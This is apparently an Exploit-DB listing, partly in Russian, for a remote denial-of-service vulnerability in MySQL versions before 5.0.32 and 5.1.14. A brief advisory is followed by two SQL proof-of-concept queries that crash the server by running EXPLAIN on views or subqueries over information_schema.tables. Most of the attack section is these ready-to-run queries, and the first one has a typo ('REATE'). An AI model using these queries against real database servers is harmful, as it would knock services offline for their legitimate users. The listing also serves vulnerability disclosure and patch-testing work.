Exploit MySQL 5.1.13 - INFORMATION_SCHEMA Remote Denial of Service

[Exploiter]

EDB-ID

31444

Проверка EDB

1. Пройдено

Автор

MASAAKI HIROSE

Тип уязвимости

DOS

Платформа

LINUX

CVE

N/A

Дата публикации

2007-12-05

source: https://www.securityfocus.com/bid/28351/info

MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.

An attacker can exploit this issue to crash the application, denying access to legitimate users.

NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be done through legitimate means or by exploiting other latent SQL-injection vulnerabilities.

This issue affects versions prior to MySQL 5.0.32 and 5.1.14.

1.
REATE OR REPLACE VIEW test_view AS
SELECT
table_schema AS object_schema
,table_name AS object_name
,table_type AS object_type
FROM information_schema.tables
ORDER BY object_schema;

EXPLAIN SELECT * FROM test_view;

2.
explain select * from (select table_name from information_schema.tables ) AS a;